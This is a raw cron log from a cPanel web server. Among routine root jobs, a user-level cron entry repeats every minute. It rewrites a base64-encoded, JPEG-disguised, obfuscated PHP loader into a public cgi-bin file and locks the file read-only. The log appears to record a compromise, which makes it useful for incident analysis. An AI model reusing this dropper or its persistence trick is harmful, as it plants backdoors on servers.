&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:55:01 server CROND[27047]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:55:01 server CROND[27048]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:55:01 server CROND[27049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:56:01 server CROND[27933]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:57:01 server CROND[28438]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 01:57:01 server CROND[28439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:58:01 server CROND[29036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:59:01 server CROND[29976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:00:01 server CROND[30811]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 02:00:01 server CROND[30813]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:00:01 server CROND[30815]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:00:01 server CROND[30816]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:00:01 server CROND[30818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 02:00:01 server CROND[30817]: (root) CMD (/usr/local/cpanel/bin/backup)
Nov 12 02:01:01 server CROND[31879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:01:01 server CROND[31880]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 02:01:01 server run-parts(/etc/cron.hourly)[31880]: starting 0anacron
Nov 12 02:01:01 server anacron[31892]: Anacron started on 2025-11-12
Nov 12 02:01:01 server anacron[31892]: Normal exit (0 jobs run)
Nov 12 02:01:01 server run-parts(/etc/cron.hourly)[31894]: finished 0anacron
Nov 12 02:02:01 server CROND[32729]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:03:01 server CROND[1034]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:04:01 server CROND[1862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:05:01 server CROND[2796]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:05:01 server CROND[2798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:05:01 server CROND[2797]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 12 02:05:01 server CROND[2800]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 02:05:01 server CROND[2799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:06:01 server CROND[3739]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
